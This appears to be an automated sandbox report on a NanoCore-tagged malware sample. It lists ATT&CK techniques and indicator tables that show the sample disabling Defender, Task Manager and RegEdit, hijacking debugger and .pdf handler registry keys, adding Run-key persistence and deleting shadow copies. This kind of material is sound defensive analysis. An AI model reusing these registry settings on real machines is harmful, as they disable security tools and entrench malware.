nanocore | c2088cc16383406c33efd08e64d6462abd0ebb6af6f1d71649aaf217c26bd1a5

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilacvac.cc_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3252	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilacvac.cc_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilacvac.cc_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe"	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe"	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe"	xoilacvac.cc_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1356	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	xoilacvac.cc_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	xoilacvac.cc_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	xoilacvac.cc_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe"	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe"	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe"	xoilacvac.cc_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3428	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	xoilacvac.cc_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	xoilacvac.cc_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilacvac.cc_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1468	wscript.exe
2724	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilacvac.cc_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1776	sc.exe
5620	sc.exe
5592	sc.exe
2216	sc.exe
5828	sc.exe
1964	sc.exe
4716	sc.exe
3000	sc.exe
1748	sc.exe
3688	sc.exe
2804	sc.exe
3680	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1120	cmd.exe
1200	cmd.exe
3920	cmd.exe
3092	cmd.exe
4512	cmd.exe
2912	cmd.exe
3832	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5524	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3456	NETSTAT.EXE
4896	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5756	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2764	vssadmin.exe
384	vssadmin.exe
5152	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilacvac.cc_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302862708478550"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	xoilacvac.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	xoilacvac.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe\" \"%1\""	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacvac.cc_chrome.exe"	xoilacvac.cc_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	xoilacvac.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	xoilacvac.cc_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilacvac.cc_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilacvac.cc_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5988	schtasks.exe
2616	schtasks.exe
4448	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1064	chrome.exe
1064	chrome.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
5460	WMIC.exe
5460	WMIC.exe
5460	WMIC.exe
5460	WMIC.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
5324	WMIC.exe
5324	WMIC.exe
5324	WMIC.exe
5324	WMIC.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
1468	WMIC.exe
1468	WMIC.exe
1468	WMIC.exe
1468	WMIC.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe
2336	xoilacvac.cc_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2336	xoilacvac.cc_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeIncreaseQuotaPrivilege	5460	WMIC.exe
Token: SeSecurityPrivilege	5460	WMIC.exe
Token: SeTakeOwnershipPrivilege	5460	WMIC.exe
Token: SeLoadDriverPrivilege	5460	WMIC.exe
Token: SeSystemProfilePrivilege	5460	WMIC.exe
Token: SeSystemtimePrivilege	5460	WMIC.exe
Token: SeProfSingleProcessPrivilege	5460	WMIC.exe
Token: SeIncBasePriorityPrivilege	5460	WMIC.exe
Token: SeCreatePagefilePrivilege	5460	WMIC.exe
Token: SeBackupPrivilege	5460	WMIC.exe
Token: SeRestorePrivilege	5460	WMIC.exe
Token: SeShutdownPrivilege	5460	WMIC.exe
Token: SeDebugPrivilege	5460	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5460	WMIC.exe
Token: SeRemoteShutdownPrivilege	5460	WMIC.exe
Token: SeUndockPrivilege	5460	WMIC.exe
Token: SeManageVolumePrivilege	5460	WMIC.exe
Token: 33	5460	WMIC.exe
Token: 34	5460	WMIC.exe
Token: 35	5460	WMIC.exe
Token: 36	5460	WMIC.exe
Token: SeShutdownPrivilege	1064	chrome.exe
Token: SeCreatePagefilePrivilege	1064	chrome.exe
Token: SeBackupPrivilege	4656	vssvc.exe
Token: SeRestorePrivilege	4656	vssvc.exe
Token: SeAuditPrivilege	4656	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5460	WMIC.exe
Token: SeSecurityPrivilege	5460	WMIC.exe
Token: SeTakeOwnershipPrivilege	5460	WMIC.exe
Token: SeLoadDriverPrivilege	5460	WMIC.exe
Token: SeSystemProfilePrivilege	5460	WMIC.exe
Token: SeSystemtimePrivilege	5460	WMIC.exe
Token: SeProfSingleProcessPrivilege	5460	WMIC.exe
Token: SeIncBasePriorityPrivilege	5460	WMIC.exe
Token: SeCreatePagefilePrivilege	5460	WMIC.exe
Token: SeBackupPrivilege	5460	WMIC.exe
Token: SeRestorePrivilege	5460	WMIC.exe
Token: SeShutdownPrivilege	5460	WMIC.exe
Token: SeDebugPrivilege	5460	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5460	WMIC.exe
Token: SeRemoteShutdownPrivilege	5460	WMIC.exe
Token: SeUndockPrivilege	5460	WMIC.exe
Token: SeManageVolumePrivilege	5460	WMIC.exe
Token: 33	5460	WMIC.exe
Token: 34	5460	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe
1064	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2336	xoilacvac.cc_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 1064	2336	xoilacvac.cc_chrome.exe	89
PID 1064 wrote to memory of 4856	1064	chrome.exe	90
PID 2336 wrote to memory of 3252	2336	xoilacvac.cc_chrome.exe	91
PID 2336 wrote to memory of 2216	2336	xoilacvac.cc_chrome.exe	93
PID 1064 wrote to memory of 5524	1064	chrome.exe	95
PID 1064 wrote to memory of 4360	1064	chrome.exe	96
PID 1064 wrote to memory of 4360	1064	chrome.exe	96
PID 1064 wrote to memory of 4556	1064	chrome.exe	97
PID 1064 wrote to memory of 4556	1064	chrome.exe	97
PID 2336 wrote to memory of 5828	2336	xoilacvac.cc_chrome.exe	98
PID 1064 wrote to memory of 5072	1064	chrome.exe	100
PID 1064 wrote to memory of 4872	1064	chrome.exe	101
PID 1064 wrote to memory of 5072	1064	chrome.exe	100
PID 1064 wrote to memory of 4872	1064	chrome.exe	101
PID 2336 wrote to memory of 3680	2336	xoilacvac.cc_chrome.exe	103
PID 1064 wrote to memory of 3320	1064	chrome.exe	105
